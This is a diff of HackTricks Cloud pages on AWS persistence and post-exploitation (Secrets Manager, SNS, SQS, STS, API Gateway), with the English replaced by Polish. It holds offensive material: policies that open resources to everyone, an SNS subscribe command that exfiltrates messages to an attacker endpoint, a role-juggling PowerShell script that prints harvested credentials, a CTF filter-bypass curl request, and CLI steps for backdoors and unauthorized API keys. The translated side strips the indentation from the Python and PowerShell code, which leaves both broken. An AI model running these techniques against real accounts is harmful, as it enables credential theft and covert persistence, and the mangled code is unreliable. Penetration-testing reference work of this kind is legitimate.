{{#include ../../../banners/hacktricks-training.md}}
## Secrets Manager
-For more info check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Via Resource Policies
+### Poprzez Polityki Zasobów
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
+Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź [**stronę Privesc Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) po więcej informacji. Zauważ, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**.
-### Via Secrets Rotate Lambda
+### Poprzez Lambda Rotacji Sekretów
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
+Aby **automatycznie rotować sekrety**, wywoływana jest skonfigurowana **Lambda**. Jeśli atakujący mógłby **zmienić** **kod**, mógłby bezpośrednio **wyeksportować nowy sekret** do siebie.
+Tak mógłby wyglądać kod lambda do takiej akcji:
```python
import boto3
def rotate_secrets(event, context):
- # Create a Secrets Manager client
- client = boto3.client('secretsmanager')
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
- # Retrieve the current secret value
- secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
- # Rotate the secret by updating its value
- new_secret_value = rotate_secret(secret_value)
- client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
- # Perform the rotation logic here, e.g., generate a new password
+# Perform the rotation logic here, e.g., generate a new password
- # Example: Generate a new password
- new_secret_value = generate_password()
+# Example: Generate a new password
+new_secret_value = generate_password()
- return new_secret_value
+return new_secret_value
def generate_password():
- # Example: Generate a random password using the secrets module
- import secrets
- import string
- password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
- return password
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 8e97cc81c..18205f120 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -4,7 +4,7 @@
## SNS
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-sns-enum.md
@@ -12,74 +12,66 @@ For more information check:
### Persistence
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
-
+Podczas tworzenia **tematu SNS** musisz wskazać w polityce IAM **kto ma dostęp do odczytu i zapisu**. Możliwe jest wskazanie zewnętrznych kont, ARN ról lub **nawet "\*"**.\
+Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w temacie SNS o nazwie **`MySNS.fifo`**:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__default_statement_ID",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": [
- "SNS:Publish",
- "SNS:RemovePermission",
- "SNS:SetTopicAttributes",
- "SNS:DeleteTopic",
- "SNS:ListSubscriptionsByTopic",
- "SNS:GetTopicAttributes",
- "SNS:AddPermission",
- "SNS:Subscribe"
- ],
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
- "Condition": {
- "StringEquals": {
- "AWS:SourceOwner": "318142138553"
- }
- }
- },
- {
- "Sid": "__console_pub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Publish",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- },
- {
- "Sid": "__console_sub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Subscribe",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
}
```
+### Utwórz subskrybentów
-### Create Subscribers
-
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+Aby kontynuować eksfiltrację wszystkich wiadomości ze wszystkich tematów, atakujący może **utworzyć subskrybentów dla wszystkich tematów**.
+Zauważ, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**.
```bash
aws sns subscribe --region \
- --protocol http \
- --notification-endpoint http:/// \
- --topic-arn
+--protocol http \
+--notification-endpoint http:/// \
+--topic-arn
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 88f396173..43f503b2c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -4,40 +4,34 @@
## SQS
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
+### Używanie polityki zasobów
+W SQS musisz wskazać za pomocą polityki IAM **kto ma dostęp do odczytu i zapisu**. Możliwe jest wskazanie zewnętrznych kont, ARN ról lub **nawet "\*"**.\
+Poniższa polityka daje wszystkim w AWS dostęp do wszystkiego w kolejce o nazwie **MyTestQueue**:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__owner_statement",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": ["SQS:*"],
- "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
}
```
-
> [!NOTE]
-> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Możesz nawet **wywołać Lambdę w koncie atakującego za każdym razem, gdy nowa wiadomość** zostanie umieszczona w kolejce (musiałbyś ją jakoś ponownie umieścić). Aby to zrobić, postępuj zgodnie z tymi instrukcjami: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index c1b9a422b..3bd0aae28 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1,6 +1 @@
# AWS - SSM Perssitence
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 4e8c120ff..85a3009c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -1,25 +1,21 @@
-# AWS - Step Functions Persistence
+# AWS - Utrzymywanie Funkcji Kroków
{{#include ../../../banners/hacktricks-training.md}}
-## Step Functions
+## Funkcje Kroków
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Step function Backdooring
+### Wprowadzanie Tylnych Drzwi do Funkcji Kroków
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
+Wprowadź tylne drzwi do funkcji kroków, aby wykonała dowolny trik utrzymania, tak aby za każdym razem, gdy jest uruchamiana, wykonywała twoje złośliwe kroki.
-### Backdooring aliases
+### Wprowadzanie Tylnych Drzwi do Aliasów
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
+Jeśli konto AWS używa aliasów do wywoływania funkcji kroków, możliwe byłoby zmodyfikowanie aliasu, aby używał nowej wersji funkcji kroków z tylnymi drzwiami.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 74db04bec..5a6869ca6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -4,62 +4,59 @@
## STS
-For more information access:
+Aby uzyskać więcej informacji, przejdź do:
{{#ref}}
../aws-services/aws-sts-enum.md
{{#endref}}
-### Assume role token
+### Token roli
-Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
+Tymczasowe tokeny nie mogą być wylistowane, więc utrzymanie aktywnego tymczasowego tokena jest sposobem na utrzymanie trwałości.
aws sts get-session-token --duration-seconds 129600
-# With MFA
+# Z MFA
aws sts get-session-token \
- --serial-number <mfa-device-name> \
- --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# Nazwa urządzenia sprzętowego to zazwyczaj numer z tyłu urządzenia, taki jak GAHT12345678
+# Nazwa urządzenia SMS to ARN w AWS, taki jak arn:aws:iam::123456789012:sms-mfa/nazwa_użytkownika
+# Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/nazwa_użytkownika
-### Role Chain Juggling
+### Żonglowanie rolami
-[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
-
-You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
+[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaszenia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwaną odnowę poświadczeń.
+Możesz użyć tego [**narzędzia**](https://github.com/hotnops/AWSRoleJuggler/), aby kontynuować łączenie ról:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
optional arguments:
- -h, --help show this help message and exit
- -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
+-h, --help show this help message and exit
+-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
-
> [!CAUTION]
-> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
+> Zauważ, że skrypt [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) z tego repozytorium Github nie znajduje wszystkich sposobów, w jakie można skonfigurować łańcuch ról.
-Code to perform Role Juggling from PowerShell
-
+Kod do wykonywania Role Juggling z PowerShell
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
- Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
- exit
+Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
+exit
}
# Function to list IAM roles
function List-IAMRoles {
- aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
+aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
}
# Initialize error count
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
# Attempt to assume each role
foreach ($role in $roles) {
- $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($credentials) {
- Write-Host "Successfully assumed role: $($role.RoleName)"
- Write-Host "Access Key: $($credentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
- Write-Host "Session Token: $($credentials.SessionToken)"
- Write-Host "Expiration: $($credentials.Expiration)"
+$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($credentials) {
+Write-Host "Successfully assumed role: $($role.RoleName)"
+Write-Host "Access Key: $($credentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
+Write-Host "Session Token: $($credentials.SessionToken)"
+Write-Host "Expiration: $($credentials.Expiration)"
- # Set temporary credentials to assume the next role
- $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
- $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
- $env:AWS_SESSION_TOKEN = $credentials.SessionToken
+# Set temporary credentials to assume the next role
+$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
+$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
+$env:AWS_SESSION_TOKEN = $credentials.SessionToken
- # Try to assume another role using the temporary credentials
- foreach ($nextRole in $roles) {
- if ($nextRole.Arn -ne $role.Arn) {
- $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($nextCredentials) {
- Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
- Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
- Write-Host "Session Token: $($nextCredentials.SessionToken)"
- Write-Host "Expiration: $($nextCredentials.Expiration)"
- }
- } catch {
- $errorCount++
- }
- }
- }
+# Try to assume another role using the temporary credentials
+foreach ($nextRole in $roles) {
+if ($nextRole.Arn -ne $role.Arn) {
+$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($nextCredentials) {
+Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
+Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
+Write-Host "Session Token: $($nextCredentials.SessionToken)"
+Write-Host "Expiration: $($nextCredentials.Expiration)"
+}
+} catch {
+$errorCount++
+}
+}
+}
- # Reset environment variables
- Remove-Item Env:\AWS_ACCESS_KEY_ID
- Remove-Item Env:\AWS_SECRET_ACCESS_KEY
- Remove-Item Env:\AWS_SESSION_TOKEN
- } else {
- $errorCount++
- }
- } catch {
- $errorCount++
- }
+# Reset environment variables
+Remove-Item Env:\AWS_ACCESS_KEY_ID
+Remove-Item Env:\AWS_SECRET_ACCESS_KEY
+Remove-Item Env:\AWS_SESSION_TOKEN
+} else {
+$errorCount++
+}
+} catch {
+$errorCount++
+}
}
# Output the number of errors if any
if ($errorCount -gt 0) {
- Write-Host "$errorCount error(s) occurred during role assumption attempts."
+Write-Host "$errorCount error(s) occurred during role assumption attempts."
} else {
- Write-Host "No errors occurred. All roles checked successfully."
+Write-Host "No errors occurred. All roles checked successfully."
}
Write-Host "Role juggling check complete."
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
index 53f79d916..941a860e3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
@@ -1,6 +1 @@
# AWS - Post Exploitation
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 4847c40e0..b9c70cf50 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -4,48 +4,43 @@
## API Gateway
-For more information check:
+Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Access unexposed APIs
+### Dostęp do nieujawnionych API
-You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
-Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
+Możesz utworzyć punkt końcowy w [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) z usługą `com.amazonaws.us-east-1.execute-api`, ujawnić punkt końcowy w sieci, do której masz dostęp (potencjalnie za pośrednictwem maszyny EC2) i przypisać grupę zabezpieczeń zezwalającą na wszystkie połączenia.\
+Następnie, z maszyny EC2 będziesz mógł uzyskać dostęp do punktu końcowego, a tym samym wywołać API bramy, które wcześniej nie było ujawnione.
-### Bypass Request body passthrough
+### Ominięcie przekazywania ciała żądania
-This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Ta technika została znaleziona w [**tym opisie CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
-As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
-
-Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
+Jak wskazano w [**dokumentacji AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) w sekcji `PassthroughBehavior`, domyślnie wartość **`WHEN_NO_MATCH`**, podczas sprawdzania nagłówka **Content-Type** żądania, przekaże żądanie do zaplecza bez transformacji.
+W związku z tym, w CTF brama API miała szablon integracji, który **zapobiegał wyciekowi flagi** w odpowiedzi, gdy wysłano żądanie z `Content-Type: application/json`:
```yaml
RequestTemplates:
- application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
+Jednak wysłanie żądania z **`Content-type: text/json`** uniemożliwiłoby ten filtr.
-However, sending a request with **`Content-type: text/json`** would prevent that filter.
-
-Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
-
+Na koniec, ponieważ API Gateway pozwalał tylko na `Get` i `Options`, możliwe było wysłanie dowolnego zapytania dynamoDB bez żadnych ograniczeń, wysyłając żądanie POST z zapytaniem w ciele i używając nagłówka `X-HTTP-Method-Override: GET`:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
-
### Usage Plans DoS
-In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
+W sekcji **Enumeration** możesz zobaczyć, jak **uzyskać plan użycia** kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz **po prostu go użyć i spowodować DoS**.
-The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
+**API Key** musi być **dołączony** w **nagłówku HTTP** o nazwie **`x-api-key`**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+Atakujący z uprawnieniami `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` może **zmodyfikować istniejącą odpowiedź bramy, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które ujawniają wrażliwe informacje lub wykonują złośliwe skrypty**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
> [!NOTE]
-> Need testing
+> Wymaga testowania
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
-
+Napastnik z uprawnieniami `apigateway:UpdateStage` i `apigateway:CreateDeployment` może **zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, aby uzyskać nieautoryzowany dostęp do danych w pamięci podręcznej**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
+**Potencjalny wpływ**: Nieautoryzowany dostęp do pamięci podręcznej danych, zakłócanie lub przechwytywanie ruchu API.
> [!NOTE]
-> Need testing
+> Wymaga testowania
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+Napastnik z uprawnieniami `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` może **zmodyfikować odpowiedź metody istniejącej metody API Gateway REST API, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które ujawniają wrażliwe informacje lub wykonują złośliwe skrypty**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
> [!NOTE]
-> Need testing
+> Wymaga testowania
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
-
+Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia API Gateway REST API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**.
```bash
API_ID="your-api-id"
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
+**Potencjalny wpływ**: Osłabienie bezpieczeństwa API, co może prowadzić do nieautoryzowanego dostępu lub ujawnienia wrażliwych informacji.
> [!NOTE]
-> Need testing
+> Wymaga testowania
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
-
+Atakujący z uprawnieniami `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` i `apigateway:CreateUsagePlanKey` może **tworzyć nowe klucze API, przypisywać je do planów użytkowania, a następnie używać tych kluczy do nieautoryzowanego dostępu do API**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
-
-**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
+**Potencjalny wpływ**: Nieautoryzowany dostęp do zasobów API, omijanie zabezpieczeń.
> [!NOTE]
-> Need testing
+> Wymaga testowania
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
